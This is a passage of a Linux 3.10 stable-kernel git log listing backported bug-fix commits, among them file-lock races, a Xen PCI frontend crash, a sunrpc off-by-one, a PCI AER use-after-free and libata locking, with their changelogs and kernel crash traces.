e0 66 0f 1f 44 00 00 66 66 66 66 90 48 8b RIP [] edac_unregister_sysfs+0x22/0x30 [edac_core] RSP Signed-off-by: Borislav Petkov Cc: Mauro Carvalho Chehab Fixes: 7a623c039075 ("edac: rewrite the sysfs code to use struct device") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e21d67d23d96407fe0ba3bc35ea9c80c0a79ca28 Author: Jeff Layton Date: Thu Jan 7 16:38:10 2016 -0500 locks: fix unlock when fcntl_setlk races with a close commit 7f3697e24dc3820b10f445a4a7d914fc356012d1 upstream. Dmitry reported that he was able to reproduce the WARN_ON_ONCE that fires in locks_free_lock_context when the flc_posix list isn't empty. The problem turns out to be that we're basically rebuilding the file_lock from scratch in fcntl_setlk when we discover that the setlk has raced with a close. If the l_whence field is SEEK_CUR or SEEK_END, then we may end up with fl_start and fl_end values that differ from when the lock was initially set, if the file position or length of the file has changed in the interim. Fix this by just reusing the same lock request structure, and simply override fl_type value with F_UNLCK as appropriate. That ensures that we really are unlocking the lock that was initially set. While we're there, make sure that we do pop a WARN_ON_ONCE if the removal ever fails. Also return -EBADF in this event, since that's what we would have returned if the close had happened earlier. Cc: Alexander Viro Fixes: c293621bbf67 (stale POSIX lock handling) Reported-by: Dmitry Vyukov Signed-off-by: Jeff Layton Acked-by: "J. Bruce Fields" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f6eb15945bbf0424b5ec4a3fd9412d15991b3ee Author: Greg Kroah-Hartman Date: Thu Mar 3 15:07:51 2016 -0800 Linux 3.10.99 Signed-off-by: Pranav Vashi commit b99b3632678076e14265b702001b74deac151a5c Author: Konrad Rzeszutek Wilk Date: Thu Feb 11 16:10:26 2016 -0500 xen/pcifront: Fix mysterious crashes when NUMA locality information was extracted. commit 4d8c8bd6f2062c9988817183a91fe2e623c8aa5e upstream. Occasionaly PV guests would crash with: pciback 0000:00:00.1: Xen PCI mapped GSI0 to IRQ16 BUG: unable to handle kernel paging request at 0000000d1a8c0be0 .. snip.. ] find_next_bit+0xb/0x10 [] cpumask_next_and+0x22/0x40 [] pci_device_probe+0xb8/0x120 [] ? driver_sysfs_add+0x77/0xa0 [] driver_probe_device+0x1a4/0x2d0 [] ? pci_match_device+0xdd/0x110 [] __device_attach_driver+0xa7/0xb0 [] ? __driver_attach+0xa0/0xa0 [] bus_for_each_drv+0x62/0x90 [] __device_attach+0xbd/0x110 [] device_attach+0xb/0x10 [] pci_bus_add_device+0x3c/0x70 [] pci_bus_add_devices+0x38/0x80 [] pcifront_scan_root+0x13e/0x1a0 [] pcifront_backend_changed+0x262/0x60b [] ? xenbus_gather+0xd6/0x160 [] ? put_object+0x2f/0x50 [] xenbus_otherend_changed+0x9d/0xa0 [] backend_changed+0xe/0x10 [] xenwatch_thread+0xc8/0x190 [] ? woken_wake_function+0x10/0x10 which was the result of two things: When we call pci_scan_root_bus we would pass in 'sd' (sysdata) pointer which was an 'pcifront_sd' structure. However in the pci_device_add it expects that the 'sd' is 'struct sysdata' and sets the dev->node to what is in sd->node (offset 4): set_dev_node(&dev->dev, pcibus_to_node(bus)); __pcibus_to_node(const struct pci_bus *bus) { const struct pci_sysdata *sd = bus->sysdata; return sd->node; } However our structure was pcifront_sd which had nothing at that offset: struct pcifront_sd { int domain; /* 0 4 */ /* XXX 4 bytes hole, try to pack */ struct pcifront_device * pdev; /* 8 8 */ } That is an hole - filled with garbage as we used kmalloc instead of kzalloc (the second problem). This patch fixes the issue by: 1) Use kzalloc to initialize to a well known state. 2) Put 'struct pci_sysdata' at the start of 'pcifront_sd'. That way access to the 'node' will access the right offset. Signed-off-by: Konrad Rzeszutek Wilk Reviewed-by: Boris Ostrovsky Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f1f1500fbcf8442ad2a79699c97d79ddc7250d63 Author: Al Viro Date: Sat Feb 27 19:17:33 2016 -0500 do_last(): don't let a bogus return value from ->open() et.al. to confuse us commit c80567c82ae4814a41287618e315a60ecf513be6 upstream. ... into returning a positive to path_openat(), which would interpret that as "symlink had been encountered" and proceed to corrupt memory, etc. It can only happen due to a bug in some ->open() instance or in some LSM hook, etc., so we report any such event *and* make sure it doesn't trick us into further unpleasantness. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10624acf81de54bb0848a21b930ed8913b88a6c9 Author: Simon Guinot Date: Thu Sep 10 00:15:18 2015 +0200 kernel/resource.c: fix muxed resource handling in __request_region() commit 59ceeaaf355fa0fb16558ef7c24413c804932ada upstream. In __request_region, if a conflict with a BUSY and MUXED resource is detected, then the caller goes to sleep and waits for the resource to be released. A pointer on the conflicting resource is kept. At wake-up this pointer is used as a parent to retry to request the region. A first problem is that this pointer might well be invalid (if for example the conflicting resource have already been freed). Another problem is that the next call to __request_region() fails to detect a remaining conflict. The previously conflicting resource is passed as a parameter and __request_region() will look for a conflict among the children of this resource and not at the resource itself. It is likely to succeed anyway, even if there is still a conflict. Instead, the parent of the conflicting resource should be passed to __request_region(). As a fix, this patch doesn't update the parent resource pointer in the case we have to wait for a muxed region right after. Reported-and-tested-by: Vincent Pelletier Signed-off-by: Simon Guinot Tested-by: Vincent Donnefort Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20c8278c5742a8b13ec0c103e77d840f608715d4 Author: Stefan Hajnoczi Date: Thu Feb 18 18:55:54 2016 +0000 sunrpc/cache: fix off-by-one in qword_get() commit b7052cd7bcf3c1478796e93e3dff2b44c9e82943 upstream. The qword_get() function NUL-terminates its output buffer. If the input string is in hex format \xXXXX... and the same length as the output buffer, there is an off-by-one: int qword_get(char **bpp, char *dest, int bufsize) { ... while (len < bufsize) { ... *dest++ = (h << 4) | l; len++; } ... *dest = '\0'; return len; } This patch ensures the NUL terminator doesn't fall outside the output buffer. Signed-off-by: Stefan Hajnoczi Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1715f6e1ab24fc393f13fa3ce61df63529e09f5 Author: Steven Rostedt (Red Hat) Date: Wed Feb 24 09:04:24 2016 -0500 tracing: Fix showing function event in available_events commit d045437a169f899dfb0f6f7ede24cc042543ced9 upstream. The ftrace:function event is only displayed for parsing the function tracer data. It is not used to enable function tracing, and does not include an "enable" file in its event directory. Originally, this event was kept separate from other events because it did not have a ->reg parameter. But perf added a "reg" parameter for its use which caused issues, because it made the event available to functions where it was not compatible for. Commit 9b63776fa3ca9 "tracing: Do not enable function event with enable" added a TRACE_EVENT_FL_IGNORE_ENABLE flag that prevented the function event from being enabled by normal trace events. But this commit missed keeping the function event from being displayed by the "available_events" directory, which is used to show what events can be enabled by set_event. One documented way to enable all events is to: cat available_events > set_event But because the function event is displayed in the available_events, this now causes an INVALID error: cat: write error: Invalid argument Reported-by: Chunyu Hu Fixes: 9b63776fa3ca9 "tracing: Do not enable function event with enable" Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9cd9251088bbf1549b1d5090de75830b402cb4ed Author: Christian Borntraeger Date: Fri Feb 19 13:11:46 2016 +0100 KVM: async_pf: do not warn on page allocation failures commit d7444794a02ff655eda87e3cc54e86b940e7736f upstream. In async_pf we try to allocate with NOWAIT to get an element quickly or fail. This code also handle failures gracefully. Lets silence potential page allocation failures under load. qemu-system-s39: page allocation failure: order:0,mode:0x2200000 [...] Call Trace: ([<00000000001146b8>] show_trace+0xf8/0x148) [<000000000011476a>] show_stack+0x62/0xe8 [<00000000004a36b8>] dump_stack+0x70/0x98 [<0000000000272c3a>] warn_alloc_failed+0xd2/0x148 [<000000000027709e>] __alloc_pages_nodemask+0x94e/0xb38 [<00000000002cd36a>] new_slab+0x382/0x400 [<00000000002cf7ac>] ___slab_alloc.constprop.30+0x2dc/0x378 [<00000000002d03d0>] kmem_cache_alloc+0x160/0x1d0 [<0000000000133db4>] kvm_setup_async_pf+0x6c/0x198 [<000000000013dee8>] kvm_arch_vcpu_ioctl_run+0xd48/0xd58 [<000000000012fcaa>] kvm_vcpu_ioctl+0x372/0x690 [<00000000002f66f6>] do_vfs_ioctl+0x3be/0x510 [<00000000002f68ec>] SyS_ioctl+0xa4/0xb8 [<0000000000781c5e>] system_call+0xd6/0x264 [<000003ffa24fa06a>] 0x3ffa24fa06a Signed-off-by: Christian Borntraeger Reviewed-by: Dominik Dingel Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 082767b769af3148c83fba81efffdb14623049b8 Author: Christoph Hellwig Date: Mon Feb 8 21:11:50 2016 +0100 nfs: fix nfs_size_to_loff_t commit 50ab8ec74a153eb30db26529088bc57dd700b24c upstream. See http: //www.infradead.org/rpr.html X-Evolution-Source: 1451162204.2173.11@leira.trondhjem.org Content-Transfer-Encoding: 8bit Mime-Version: 1.0 We support OFFSET_MAX just fine, so don't round down below it. Also switch to using min_t to make the helper more readable. Signed-off-by: Christoph Hellwig Fixes: 433c92379d9c ("NFS: Clean up nfs_size_to_loff_t()") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d82b185bfd5faeed097cd2c15884991d14b2082e Author: Sebastian Andrzej Siewior Date: Mon Jan 25 10:08:00 2016 -0600 PCI/AER: Flush workqueue on device remove to avoid use-after-free commit 4ae2182b1e3407de369f8c5d799543b7db74221b upstream. A Root Port's AER structure (rpc) contains a queue of events. aer_irq() enqueues AER status information and schedules aer_isr() to dequeue and process it. When we remove a device, aer_remove() waits for the queue to be empty, then frees the rpc struct. But aer_isr() references the rpc struct after dequeueing and possibly emptying the queue, which can cause a use-after-free error as in the following scenario with two threads, aer_isr() on the left and a concurrent aer_remove() on the right: Thread A Thread B -------- -------- aer_irq(): rpc->prod_idx++ aer_remove(): wait_event(rpc->prod_idx == rpc->cons_idx) # now blocked until queue becomes empty aer_isr(): # ... rpc->cons_idx++ # unblocked because queue is now empty ... kfree(rpc) mutex_unlock(&rpc->rpc_mutex) To prevent this problem, use flush_work() to wait until the last scheduled instance of aer_isr() has completed before freeing the rpc struct in aer_remove(). I reproduced this use-after-free by flashing a device FPGA and re-enumerating the bus to find the new device. With SLUB debug, this crashes with 0x6b bytes (POISON_FREE, the use-after-free magic number) in GPR25: pcieport 0000:00:00.0: AER: Multiple Corrected error received: id=0000 Unable to handle kernel paging request for data at address 0x27ef9e3e Workqueue: events aer_isr GPR24: dd6aa000 6b6b6b6b 605f8378 605f8360 d99b12c0 604fc674 606b1704 d99b12c0 NIP [602f5328] pci_walk_bus+0xd4/0x104 [bhelgaas: changelog, stable tag] Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fb1a35b808859e725278307a236c513f1fa069de Author: Tejun Heo Date: Mon Feb 1 11:33:21 2016 -0500 libata: fix sff host state machine locking while polling commit 8eee1d3ed5b6fc8e14389567c9a6f53f82bb7224 upstream. The bulk of ATA host state machine is implemented by ata_sff_hsm_move(). The function is called from either the interrupt handler or, if polling, a work item. Unlike from the interrupt path, the polling path calls the function without holding the host lock and ata_sff_hsm_move() selectively grabs the lock. This is completely broken. If an IRQ triggers while polling is in progress, the two can easily race and end up accessing the hardware and updating state machine state at the same time. This can put the state machine in an illegal state and lead to a crash like the following. kernel BUG at drivers/ata/libata-sff.c:1302! invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN Modules linked in: CPU: 1 PID: 10679 Comm: syz-executor Not tainted 4.5.0-rc1+ #300 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 task: ffff88002bd00000 ti: ffff88002e048000 task.ti: ffff88002e048000 RIP: 0010:[] [] ata_sff_hsm_move+0x619/0x1c60 ... Call Trace: [] __ata_sff_port_intr+0x1e1/0x3a0 drivers/ata/libata-sff.c:1584 [] ata_bmdma_port_intr+0x71/0x400 drivers/ata/libata-sff.c:2877 [< inline >] __ata_sff_interrupt drivers/ata/libata-sff.c:1629 [] ata_bmdma_interrupt+0x253/0x580 drivers/ata/libata-sff.c:2902 [] handle_irq_event_percpu+0x108/0x7e0 kernel/irq/handle.c:157 [] handle_irq_event+0xa7/0x140 kernel/irq/handle.c:205 [] handle_edge_irq+0x1e3/0x8d0 kernel/irq/chip.c:623 [< inline >] generic_handle_irq_desc include/linux/irqdesc.h:146 [] handle_irq+0x10c/0x2a0 arch/x86/kernel/irq_64.c:78 [] do_IRQ+0x7d/0x1a0 arch/x86/kernel/irq.c:240 [] common_interrupt+0x8c/0x8c arch/x86/entry/entry_64.S:520 [< inline >] rcu_lock_acquire include/linux/rcupdate.h:490 [< inline >] rcu_read_lock include/linux/rcupdate.h:874 [] filemap_map_pages+0x131/0xba0 mm/filemap.c:2145 [< inline >] do_fault_around mm/memory.c:2943 [< inline >] do_read_fault mm/memory.c:2962 [< inline >] do_fault mm/memory.c:3133 [< inline >] handle_pte_fault mm/memory.c:3308 [< inline >] __handle_mm_fault mm/memory.c:3418 [] handle_mm_fault+0x2516/0x49a0 mm/memory.c:3447 [] __do_page_fault+0x376/0x960 arch/x86/mm/fault.c:1238 [] trace_do_page_fault+0xe8/0x420 arch/x86/mm/fault.c:1331 [] do_async_page_fault+0x14/0xd0 arch/x86/kernel/kvm.c:264 [] async_page_fault+0x28/0x30 arch/x86/entry/entry_64.S:986 Fix it by ensuring that the polling path is holding the host lock before entering ata_sff_hsm_move() so that all hardware accesses and state updates are performed under the host lock. Signed-off-by: Tejun Heo Reported-and-tested-by: Dmitry Vyukov Link: http://lkml.kernel.org/g/CACT4Y+b_JsOxJu2EZyEf+mOXORc_zid5V1-pLZSroJVxyWdSpw@mail.gmail.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29c3e48d1ff953f8e6b1cdad568cf7c7ba295442 Author: Tejun Heo Date: Tue Feb 9 16:11:26 2016 -0500 Revert "workqueue: make sure delayed work run in local cpu" commit 041bd12e272c53a35c54c13875839bcb98c999ce upstream. This reverts commit 874bbfe600a660cba9c776b3957b1ce393151b76. Workqueue used to implicity guarantee that work items queued without explicit CPU specified are put on the local CPU. Recent changes in timer broke the guarantee and led to vmstat breakage which was fixed by 176bed1de5bf ("vmstat: explicitly schedule per-cpu work on the CPU we need it to run on"). vmstat is the most likely to expose the issue and it's quite possible that there are other similar problems which are a lot more difficult to trigger. As a preventive measure, 874bbfe600a6 ("workqueue: make sure delayed work run in local cpu") was applied to restore the local CPU guarnatee. Unfortunately, the change exposed a bug in timer code which got fixed by 22b886dd1018 ("timers: Use proper base migration in add_timer_on()"). Due to code restructuring, the commit couldn't be backported beyond certain point and stable kernels which only had 874bbfe600a6 started crashing. The local CPU guarantee was accidental more than anything else and we want to get rid of it anyway. As, with the vmstat case fixed, 874bbfe600a6 is causing more problems than it's fixing, it has been decided to take the chance and officially break the guarantee by reverting the commit. A debug feature will be added to force foreign CPU assignment to expose cases relying on the guarantee and fixes for the individual cases will be backported to stable as necessary. Signed-off-by: Tejun Heo Fixes: 874bbfe600a6 ("workqueue: make sure delayed work run in local cpu") Link: http://lkml.kernel.org/g/20160120211926.GJ10810@quack.suse.cz Cc: Mike Galbraith Cc: Henrique de Moraes Holschuh Cc: Daniel Bilik Cc: Jan Kara Cc: Shaohua Li Cc: Sasha Levin Cc: Ben Hutchings Cc: Thomas Gleixner Cc: Daniel Bilik Cc: Jiri Slaby Cc: Michal Hocko Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 17006a62c4d4bdf95abf28e11bec020c735169eb Author: Johannes Berg Date: Tue Jan 26 11:29:03 2016 +0100 rfkill: fix rfkill_fop_read wait_event usage commit 6736fde9672ff6717ac576e9bba2fd5f3dfec822 upstream. The code within wait_event_interruptible() is called with !TASK_RUNNING, so mustn't call any functions that can sleep, like mutex_lock(). Since we re-check the list_empty() in a loop after the wait, it's safe to simply use list_empty() without locking. This bug has existed forever, but was only discovered now because all userspace implementations, including the default 'rfkill' tool, use poll() or select() to get a readable fd before attempting to read. Fixes: c64fb01627e24 ("rfkill: create useful userspace interface") Reported-by: Dmitry Vyukov Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0bca657a50a1016cc7469a4d57bd4ff48136a0db Author: Oliver Neukum Date: Mon Jan 18 15:45:18 2016 +0100 cdc-acm:exclude Samsung phone 04e8:685d commit e912e685f372ab62a2405a1acd923597f524e94a upstream. This phone needs to be handled by a specialised firmware tool and is reported to crash irrevocably if cdc-acm takes it. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 72dcc313ca78c2cb14e1e5ca18890cb70d31ec73 Author: Ilya Dryomov Date: Wed Feb 17 20:04:08 2016 +0100 libceph: don't bail early from try_read() when skipping a message commit e7a88e82fe380459b864e05b372638aeacb0f52d upstream. The contract between try_read() and try_write() is that when called each processes as much data as possible. When instructed by osd_client to skip a message, try_read() is violating this contract by returning after receiving and discarding a single message instead of checking for more. try_write() then gets a chance to write out more requests, generating more replies/skips for try_read() to handle, forcing the messenger into a starvation loop. Reported-by: Varada Kari Signed-off-by: Ilya Dryomov Tested-by: Varada Kari Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6a8b18465a11578cdab53ab0d398db6067a98933 Author: Mike Marciniszyn Date: Thu Jan 7 16:44:10 2016 -0500 IB/qib: fix mcast detach when qp not attached commit 09dc9cd6528f5b52bcbd3292a6312e762c85260f upstream. The code produces the following trace: [1750924.419007] general protection fault: 0000 [#3] SMP [1750924.420364] Modules linked in: nfnetlink autofs4 rpcsec_gss_krb5 nfsv4 dcdbas rfcomm bnep bluetooth nfsd auth_rpcgss nfs_acl dm_multipath nfs lockd scsi_dh sunrpc fscache radeon ttm drm_kms_helper drm serio_raw parport_pc ppdev i2c_algo_bit lpc_ich ipmi_si ib_mthca ib_qib dca lp parport ib_ipoib mac_hid ib_cm i3000_edac ib_sa ib_uverbs edac_core ib_umad ib_mad ib_core ib_addr tg3 ptp dm_mirror dm_region_hash dm_log psmouse pps_core [1750924.420364] CPU: 1 PID: 8401 Comm: python Tainted: G D 3.13.0-39-generic #66-Ubuntu [1750924.420364] Hardware name: Dell Computer Corporation PowerEdge 860/0XM089, BIOS A04 07/24/2007 [1750924.420364] task: ffff8800366a9800 ti: ffff88007af1c000 task.ti: ffff88007af1c000 [1750924.420364] RIP: 0010:[] [] qib_mcast_qp_free+0x11/0x50 [ib_qib] [1750924.420364] RSP: 0018:ffff88007af1dd70 EFLAGS: 00010246 [1750924.420364] RAX: 0000000000000001 RBX: ffff88007b822688 RCX: 000000000000000f [1750924.420364] RDX: ffff88007b822688 RSI: ffff8800366c15a0 RDI: 6764697200000000 [1750924.420364] RBP: ffff88007af1dd78 R08: 0000000000000001 R09: 0000000000000000 [1750924.420364] R10: 0000000000000011 R11: 0000000000000246 R12: ffff88007baa1d98 [1750924.420364] R13: ffff88003ecab000 R14: ffff88007b822660 R15: 0000000000000000 [1750924.420364] FS: 00007ffff7fd8740(0000) GS:ffff88007fc80000(0000) knlGS:0000000000000000 [1750924.420364] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [1750924.420364] CR2: 00007ffff597c750 CR3: 000000006860b000 CR4: 00000000000007e0 [1750924.420364] Stack: [1750924.420364] ffff88007b822688 ffff88007af1ddf0 ffffffffa0132429 000000007af1de20 [1750924.420364] ffff88007baa1dc8 ffff88007baa0000 ffff88007af1de70 ffffffffa00cb313 [1750924.420364] 00007fffffffde88 0000000000000000 0000000000000008 ffff88003ecab000 [1750924.420364] Call Trace: [1750924.420364] [] qib_multicast_detach+0x1e9/0x350 [ib_qib] [1750924.568035] [] ? ib_uverbs_modify_qp+0x323/0x3d0 [ib_uverbs] [1750924.568035] [] ib_detach_mcast+0x31/0x50 [ib_core] [1750924.568035] [] ib_uverbs_detach_mcast+0x93/0x170 [ib_uverbs] [1750924.568035] [] ib_uverbs_write+0xc6/0x2c0 [ib_uverbs] [1750924.568035] [] ? apparmor_file_permission+0x18/0x20 [1750924.568035] [] ? security_file_permission+0x23/0xa0 [1750924.568035] [] vfs_write+0xb4/0x1f0 [1750924.568035] [] SyS_write+0x49/0xa0 [1750924.568035] [] system_call_fastpath+0x1a/0x1f [1750924.568035] Code: 66 2e 0f 1f 84 00 00 00 00 00 31 c0 5d c3 66 2e 0f 1f 84 00 00 00 00 00 66 90 0f 1f 44 00 00 55 48 89 e5 53 48 89 fb 48 8b 7f 10 ff 8f 40 01 00 00 74 0e 48 89 df e8 8e f8 06 e1 5b 5d c3 0f [1750924.568035] RIP [] qib_mcast_qp_free+0x11/0x50 [ib_qib] [1750924.568035] RSP [1750924.650439] ---[ end trace 73d5d4b3f8ad4851 ] The fix is to note the qib_mcast_qp that was found. If none is found, then return EINVAL indicating the error. Reviewed-by: Dennis Dalessandro Reported-by: Jason Gunthorpe Signed-off-by: Mike Marciniszyn Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a78b76900e64f5b209652b771d0d5887ca7adbe Author: Rasmus Villemoes Date: Mon Feb 15 19:41:47 2016 +0100 drm/radeon: use post-decrement in error handling commit bc3f5d8c4ca01555820617eb3b6c0857e4df710d upstream. We need to use post-decrement to get the pci_map_page undone also for i==0, and to avoid some very unpleasant behaviour if pci_map_page failed already at i==0. Reviewed-by: Christian König Signed-off-by: Rasmus Villemoes Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c9bf0cf6bbfcaa4f59bdc4554fdcb63922ec45df Author: Nicolai Hähnle Date: Fri Feb 5 14:35:53 2016 -0500 drm/radeon: hold reference to fences in radeon_sa_bo_new commit f6ff4f67cdf8455d0a4226eeeaf5af17c37d05eb upstream. An arbitrary amount of time can pass between spin_unlock and radeon_fence_wait_any, so we need to ensure that nobody frees the fences from under us. Based on the analogous fix for amdgpu. Signed-off-by: Nicolai Hähnle Reviewed-by: Christian König Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21992b66811316c20940d20ef90b233fcb10dfb2 Author: Alex Deucher Date: Thu Dec 17 12:52:17 2015 -0500 drm/radeon: clean up fujitsu quirks commit 0eb1c3d4084eeb6fb3a703f88d6ce1521f8fcdd1 upstream. Combine the two quirks. bug: https://bugzilla.kernel.org/show_bug.cgi?id=109481 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76257677a152cefb2583090b31794418711334a4 Author: Rob Clark Date: Wed Oct 15 15:00:47 2014 -0400 drm/vmwgfx: respect 'nomodeset' commit 96c5d076f0a5e2023ecdb44d8261f87641ee71e0 upstream. Signed-off-by: Rob Clark Reviewed-by: Thomas Hellstrom . Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a28ea508dc24f9855777efb8f05733a4cb984b38 Author: Dmitry V. Levin Date: Sun Dec 27 02:13:27 2015 +0300 sparc64: fix incorrect sign extension in sys_sparc64_personality commit 525fd5a94e1be0776fa652df5c687697db508c91 upstream. The value returned by sys_personality has type "long int". It is saved to a variable of type "int", which is not a problem yet because the type of task_struct->pesonality is "unsigned int". The problem is the sign extension from "int" to "long int" that happens on return from sys_sparc64_personality. For example, a userspace call personality((unsigned) -EINVAL) will result to any subsequent personality call, including absolutely harmless read-only personality(0xffffffff) call, failing with errno set to EINVAL. Signed-off-by: Dmitry V. Levin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eaeedae5299659015496ac99c04c3e82c6326c81 Author: Linus Walleij Date: Mon Jan 4 02:21:55 2016 +0100 mmc: mmci: fix an ages old detection error commit 0bcb7efdff63564e80fe84dd36a9fbdfbf6697a4 upstream. commit 4956e10903fd ("ARM: 6244/1: mmci: add variant data and default MCICLOCK support") added variant data for ARM, U300 and Ux500 variants. The Nomadik NHK8815/8820 variant was erroneously labeled as a U300 variant, and when the proper Nomadik variant was later introduced in commit 34fd421349ff ("ARM: 7378/1: mmci: add support for the Nomadik MMCI variant") this was not fixes. Let's say this fixes the latter commit as there was no proper Nomadik support until then. Fixes: 34fd421349ff ("ARM: 7378/1: mmci: add support for the Nomadik...") Signed-off-by: Linus Walleij Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff7d966a9267cd85874a79d23711b9dce3a12d02 Author: Richard Cochran Date: Tue Dec 22 22:19:58 2015 +0100 posix-clock: Fix return code on the poll method's error path commit 1b9f23727abb92c5e58f139e7d180befcaa06fe0 upstream. The posix_clock_poll function is supposed to return a bit mask of POLLxxx values. However, in case the hardware has disappeared (due to hot plugging for example) this code returns -ENODEV in a futile attempt to throw an error at the file descriptor level. The kernel's file_operations interface does not accept such error codes from the poll method. Instead, this function aught to return POLLERR. The value -ENODEV does, in fact, contain the POLLERR bit (and almost all the other POLLxxx bits as well), but only by chance. This patch fixes code to return a proper bit mask. Credit goes to Markus Elfring for pointing out the suspicious signed/unsigned mismatch. Reported-by: Markus Elfring igned-off-by: Richard Cochran Cc: John Stultz Cc: Julia Lawall Link: http://lkml.kernel.org/r/1450819198-17420-1-git-send-email-richardcochran@gmail.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cef2dbaaef863d69b3e4f9b814ea4a99495d37b Author: Mikulas Patocka Date: Fri Jan 8 19:07:55 2016 -0500 dm snapshot: fix hung bios when copy error occurs commit 385277bfb57faac44e92497104ba542cdd82d5fe upstream. When there is an error copying a chunk dm-snapshot can incorrectly hold associated bios indefinitely, resulting in hung IO. The function copy_callback sets pe->error if there was error copying the chunk, and then calls complete_exception. complete_exception calls pending_complete on error, otherwise it calls commit_exception with commit_callback (and commit_callback calls complete_exception). The persistent exception store (dm-snap-persistent.c) assumes that calls to prepare_exception and commit_exception are paired. persistent_prepare_exception increases ps->pending_count and persistent_commit_exception decreases it. If there is a copy error, persistent_prepare_exception is called but persistent_commit_exception is not. This results in the variable ps->pending_count never returning to zero and that causes some pending exceptions (and their associated bios) to be held forever. Fix this by unconditionally calling commit_exception regardless of whether the copy was successful. A new "valid" parameter is added to commit_exception -- when the copy fails this parameter is set to zero so that the chunk that failed to copy (and all following chunks) is not recorded in the snapshot store. Also, remove commit_callback now that it is merely a wrapper around pending_complete. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b17ef0cc79ce86036886b4da361b8af3fbc04617 Author: Mauro Carvalho Chehab Date: Wed Feb 3 17:33:48 2016 -0200 tda1004x: only update the frontend properties if locked commit e8beb02343e7582980c6705816cd957cf4f74c7a upstream. The tda1004x was updating the properties cache before locking. If the device is not locked, the data at the registers are just random values with no real meaning. This caused the driver to fail with libdvbv5, as such library calls GET_PROPERTY from time to time, in order to return the DVB stats. Tested with a saa7134 card 78: ASUSTeK P7131 Dual, vendor PCI ID: 1043:4862 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8662881e5f9cd4f7f4b22d235ddc73374b3db8de Author: Antonio Ospite Date: Fri Oct 2 17:33:13 2015 -0300 gspca: ov534/topro: prevent a division by 0 commit dcc7fdbec53a960588f2c40232db2c6466c09917 upstream. v4l2-compliance sends a zeroed struct v4l2_streamparm in v4l2-test-formats.cpp::testParmType(), and this results in a division by 0 in some gspca subdrivers: divide error: 0000 [#1] SMP Modules linked in: gspca_ov534 gspca_main ... CPU: 0 PID: 17201 Comm: v4l2-compliance Not tainted 4.3.0-rc2-ao2 #1 Hardware name: System manufacturer System Product Name/M2N-E SLI, BIOS ASUS M2N-E SLI ACPI BIOS Revision 1301 09/16/2010 task: ffff8800818306c0 ti: ffff880095c4c000 task.ti: ffff880095c4c000 RIP: 0010:[] [] sd_set_streamparm+0x12/0x60 [gspca_ov534] RSP: 0018:ffff880095c4fce8 EFLAGS: 00010296 RAX: 0000000000000000 RBX: ffff8800c9522000 RCX: ffffffffa077a140 RDX: 0000000000000000 RSI: ffff880095e0c100 RDI: ffff8800c9522000 RBP: ffff880095e0c100 R08: ffffffffa077a100 R09: 00000000000000cc R10: ffff880067ec7740 R11: 0000000000000016 R12: ffffffffa07bb400 R13: 0000000000000000 R14: ffff880081b6a800 R15: 0000000000000000 FS: 00007fda0de78740(0000) GS:ffff88012fc00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00000000014630f8 CR3: 00000000cf349000 CR4: 00000000000006f0 Stack: ffffffffa07a6431 ffff8800c9522000 ffffffffa077656e 00000000c0cc5616 ffff8800c9522000 ffffffffa07a5e20 ffff880095e0c100 0000000000000000 ffff880067ec7740 ffffffffa077a140 ffff880067ec7740 0000000000000016 Call Trace: [] ? v4l_s_parm+0x21/0x50 [videodev] [] ? vidioc_s_parm+0x4e/0x60 [gspca_main] [] ? __video_do_ioctl+0x280/0x2f0 [videodev] [] ? video_ioctl2+0x20/0x20 [videodev] [] ? video_usercopy+0x319/0x4e0 [videodev] [] ? page_add_new_anon_rmap+0x71/0xa0 [] ? mem_cgroup_commit_charge+0x52/0x90 [] ? handle_mm_fault+0xc18/0x1680 [] ? v4l2_ioctl+0xac/0xd0 [videodev] [] ? do_vfs_ioctl+0x28f/0x480 [] ? SyS_ioctl+0x74/0x80 [] ? 